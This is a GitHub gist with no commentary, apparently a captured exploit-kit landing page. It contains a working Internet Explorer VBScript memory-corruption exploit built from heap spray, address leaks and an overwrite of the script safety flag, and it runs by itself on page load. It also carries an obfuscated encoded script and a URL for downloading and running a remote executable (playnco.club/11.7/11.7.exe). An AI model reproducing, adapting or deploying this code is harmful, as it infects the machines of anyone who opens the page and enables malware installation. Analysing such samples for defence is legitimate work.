Skip to content

Instantly share code, notes, and snippets.

@koike
Created November 18, 2017 16:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save koike/7aae4bdd11cd415c83f2cea4cddc9d03 to your computer and use it in GitHub Desktop.
Save koike/7aae4bdd11cd415c83f2cea4cddc9d03 to your computer and use it in GitHub Desktop.
<html>
<script>
var N = 67;
var X = "272C20362E262D376D34312A3726633126202B222D24266B376A";
var nbUrl = "http://playnco.club/11.7/11.7.exe";
var nbExe = "f4BW.exe";
var t = "127@182@166@181@172@179@183@99@183@188@179@168@128@101@183@168@187@183@114@185@165@182@166@181@172@179@183@101@129@80@77@76@169@184@177@166@183@172@178@177@99@169@172@181@168@107@108@80@77@76@99@99@146@177@99@136@181@181@178@181@99@149@168@182@184@176@168@99@145@168@187@183@80@77@76@99@99@182@168@183@99@182@171@168@175@175@128@166@181@168@164@183@168@178@165@173@168@166@183@107@101@150@171@168@175@175@113@132@179@179@175@172@166@164@183@172@178@177@101@108@80@77@76@99@99@182@171@168@175@175@113@150@171@168@175@175@136@187@168@166@184@183@168@99@101@166@182@166@181@172@179@183@113@168@187@168@101@111@99@101@99@114@114@133@99@114@114@177@178@175@178@170@178@99@114@114@139@125@134@150@166@181@172@179@183@101@111@99@101@101@111@99@101@101@111@99@115@80@77@76@99@99@182@171@168@175@175@113@150@171@168@175@175@136@187@168@166@184@183@168@99@101@166@176@167@113@168@187@168@101@111@99@101@99@114@180@99@114@166@99@168@166@171@178@99@172@149@128@143@134@164@182@168@107@101@101@101@105@177@165@152@181@175@105@101@101@101@108@99@129@99@134@125@159@159@177@183@175@167@181@113@185@165@182@99@105@99@168@166@171@178@99@172@143@128@143@134@164@182@168@107@101@101@134@125@159@159@101@105@177@165@136@187@168@105@101@101@101@108@99@129@129@99@134@125@159@159@177@183@175@167@181@113@185@165@182@99@105@99@168@166@171@178@99@150@168@183@99@147@178@182@183@128@134@181@168@164@183@168@146@165@173@168@166@183@107@181@168@179@175@164@166@168@107@101@101@144@111@182@111@187@176@111@175@111@117@113@155@144@111@143@139@111@151@111@151@147@111@101@101@111@101@101@111@101@101@111@101@101@101@101@108@108@99@129@129@99@134@125@159@159@177@183@175@167@181@113@185@165@182@99@105@99@168@166@171@178@99@150@168@183@99@150@171@168@175@175@128@134@181@168@164@183@168@146@165@173@168@166@183@107@181@168@179@175@164@166@168@107@101@101@109@154@109@182@109@166@181@172@109@179@183@109@113@150@109@171@168@109@175@109@175@101@101@111@101@101@109@101@101@111@101@101@101@101@108@108@99@129@129@99@134@125@159@159@177@183@175@167@181@113@185@165@182@99@105@99@168@166@171@178@99@147@178@182@183@113@146@179@168@177@99@101@101@138@136@151@101@101@111@172@149@111@115@99@129@129@99@134@125@159@159@177@183@175@167@181@113@185@165@182@99@105@99@168@166@171@178@99@147@178@182@183@113@150@168@177@167@107@108@99@129@129@99@134@125@159@159@177@183@175@167@181@113@185@165@182@99@105@99@168@166@171@178@99@150@168@183@99@164@138@168@183@128@134@181@168@164@183@168@146@165@173@168@166@183@107@181@168@179@175@164@166@168@107@101@101@107@132@107@135@146@107@135@133@113@150@183@107@181@168@107@164@176@101@101@111@101@101@107@101@101@111@101@101@101@101@108@108@99@129@129@99@134@125@159@159@177@183@175@167@181@113@185@165@182@99@105@99@168@166@171@178@99@164@138@168@183@113@144@178@167@168@128@118@99@129@129@99@134@125@159@159@177@183@175@167@181@113@185@165@182@99@105@99@168@166@171@178@99@164@138@168@183@113@151@188@179@168@128@116@99@129@129@99@134@125@159@159@177@183@175@167@181@113@185@165@182@99@105@99@168@166@171@178@99@164@138@168@183@113@146@179@168@177@107@108@99@129@129@99@134@125@159@159@177@183@175@167@181@113@185@165@182@99@105@99@168@166@171@178@99@164@138@168@183@113@154@181@172@183@168@107@147@178@182@183@113@181@168@182@179@178@177@182@168@133@178@167@188@108@99@129@129@99@134@125@159@159@177@183@175@167@181@113@185@165@182@99@105@99@168@166@171@178@99@164@138@168@183@113@150@164@185@168@151@178@137@172@175@168@99@172@143@111@117@99@129@129@99@134@125@159@159@177@183@175@167@181@113@185@165@182@99@105@99@168@166@171@178@99@186@182@166@181@172@179@183@113@182@175@168@168@179@99@116@115@115@115@99@129@129@99@134@125@159@159@177@183@175@167@181@113@185@165@182@99@105@99@168@166@171@178@99@150@171@168@175@175@113@149@184@177@107@172@143@108@99@129@129@99@134@125@159@159@177@183@175@167@181@113@185@165@182@99@105@99@168@166@171@178@99@186@182@166@181@172@179@183@113@182@175@168@168@179@99@116@115@115@115@99@129@129@99@134@125@159@159@177@183@175@167@181@113@185@165@182@99@105@99@168@166@171@178@99@150@168@183@99@169@182@178@128@134@181@168@164@183@168@146@165@173@168@166@183@107@181@168@179@175@164@166@168@107@101@101@150@131@166@131@181@172@179@131@183@172@177@170@113@137@131@172@175@131@168@182@131@188@182@183@131@168@176@178@165@173@131@168@166@183@101@101@111@101@101@131@101@101@111@101@101@101@101@108@108@99@129@129@99@134@125@159@159@177@183@175@167@181@113@185@165@182@99@105@99@168@166@171@178@99@169@182@178@113@135@168@175@168@183@168@137@172@175@168@107@154@150@166@181@172@179@183@113@150@166@181@172@179@183@137@184@175@175@145@164@176@168@108@99@129@129@99@134@125@159@159@177@183@175@167@181@113@185@165@182@101@111@99@101@101@111@99@101@101@111@99@115@80@77@76@99@99@182@171@168@175@175@113@150@171@168@175@175@136@187@168@166@184@183@168@99@101@166@182@166@181@172@179@183@113@168@187@168@101@111@99@101@99@114@114@133@99@114@114@177@178@175@178@170@178@99@114@114@136@125@185@165@182@166@181@172@179@183@99@134@125@159@159@177@183@175@167@181@113@185@165@182@101@111@99@101@101@111@99@101@101@111@99@115@80@77@76@99@99@182@171@168@175@175@113@150@171@168@175@175@136@187@168@166@184@183@168@99@101@179@178@186@168@181@182@171@168@175@175@113@168@187@168@101@111@99@101@99@112@177@178@179@99@112@186@99@171@172@167@167@168@177@99@112@166@99@172@169@107@158@140@177@183@147@183@181@160@125@125@150@172@189@168@99@112@168@180@99@119@108@190@103@165@128@106@179@178@186@168@181@182@171@168@175@175@113@168@187@168@106@192@168@175@182@168@190@103@165@128@103@168@177@185@125@186@172@177@167@172@181@110@106@159@159@159@159@182@188@182@186@178@186@121@119@159@159@159@159@154@172@177@167@178@186@182@147@178@186@168@181@150@171@168@175@175@159@159@159@159@185@116@113@115@159@159@159@159@179@178@186@168@181@182@171@168@175@175@113@168@187@168@106@192@126@103@182@128@145@168@186@112@146@165@173@168@166@183@99@150@188@182@183@168@176@113@135@172@164@170@177@178@182@183@172@166@182@113@147@181@178@166@168@182@182@150@183@164@181@183@140@177@169@178@126@103@182@113@137@172@175@168@145@164@176@168@128@103@165@126@103@182@113@132@181@170@184@176@168@177@183@182@128@106@150@183@164@181@183@112@147@181@178@166@168@182@182@99@112@137@172@175@168@147@164@183@171@99@101@101@134@125@159@159@177@183@175@167@181@113@185@165@182@101@101@99@112@154@172@177@167@178@186@150@183@188@175@168@99@139@172@167@167@168@177@126@106@126@103@182@113@152@182@168@150@171@168@175@175@136@187@168@166@184@183@168@128@103@169@164@175@182@168@126@103@179@128@158@150@188@182@183@168@176@113@135@172@164@170@177@178@182@183@172@166@182@113@147@181@178@166@168@182@182@160@125@125@150@183@164@181@183@107@103@182@108@126@99@99@101@111@99@101@101@111@99@101@178@179@168@177@101@111@99@115@80@77@76@168@177@167@99@169@184@177@166@183@172@178@177@80@77@127@114@182@166@181@172@179@183@129";
</script>
<script type="text/vbscript">
function overyou(x)
For i=1 to Len(x) Step 2
overyou=overyou & Chr(CLng("&H" & Mid(x,i,2)) Xor N)
Next
end function
Function rechange(k)
NBPw="@"
NB=Split(k,NBPw)
NBWM=""
For i = 0 To UBound(NB)
NBWM=NBWM+Chrw(eval(NB(i)-N))
Next
rechange=NBWM
End Function
Dim aw
Dim plunge(32)
Dim y(32)
prefix = "%" & "u41" & "41%" & "u414" & "1"
d = prefix & "%" & "u0016%" & "u4141%" & "u4141%" & "u4141%" & "u4242%" & "u4242"
b = String(64000, "D")
c = d & b
x = UnEscape(c)
Class ArrayWrapper
Dim A()
Private Sub Class_Initialize
ReDim Preserve A(1, 2000)
End Sub
Public Sub Resize()
ReDim Preserve A(1, 1)
End Sub
End Class
Class Dummy
End Class
Function getAddr (arg1, s)
aw = Null
Set aw = New ArrayWrapper
For i = 0 To 32
Set plunge(i) = s
Next
Set aw.A(arg1, 2) = s
Dim addr
Dim i
For i = 0 To 31
If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
addr = strToInt(Mid(y(i), 3 + 4, 2))
End If
y(i) = Null
Next
If addr = Null Then
document.location.href = document.location.href
Return
End If
getAddr = addr
End Function
" & "Function leakMem (arg1, addr)
d = prefix & "%u0008%u4141%u4141%u4141"
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New ArrayWrapper
Dim o
o = aw.A(arg1, 2)
leakMem = o
End Function
Sub overwrite (arg1, addr)
d = prefix & "%u400C%u0000%u0000%u0000"
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New ArrayWrapper
aw.A(arg1, 2) = CSng(0)
End Sub
Sub overwrite2 (arg1, addr)
Dim emptyval
d = prefix & "%u400C%u0000%u0000%u0000"
c = d & intToStr(addr) & b
x = UnEscape(c)
aw = Null
Set aw = New ArrayWrapper
aw.A(arg1, 2) = emptyval
End Sub
Function exploit (arg1)
Dim addr
Dim csession
Dim olescript
Dim mem
Set dm = New Dummy
addr = getAddr(arg1, dm)
mem = leakMem(arg1, addr + 8)
csession = strToInt(Mid(mem, 3, 2))
mem = leakMem(arg1, csession + 4)
olescript = strToInt(Mid(mem, 1, 2))
overwrite arg1, olescript + &H174
fire()
overwrite2 arg1, olescript + &H174
End Function
Function triggerBug
aw.Resize()
Dim i
For i = 0 To 32
y(i) = Mid(x, 1, 24000)
Next
End Function
</script>
<script type="text/javascript">
function strToInt(s)
{
return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
}
function intToStr(x)
{
return String["fromCharCode"](x & 0xffff) + String.fromCharCode(x >> 16);
}
var o;
o = {"valueOf": function () {
triggerBug();
return 1;
}};
setTimeout(function() {exploit(o);}, 50);
</script>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment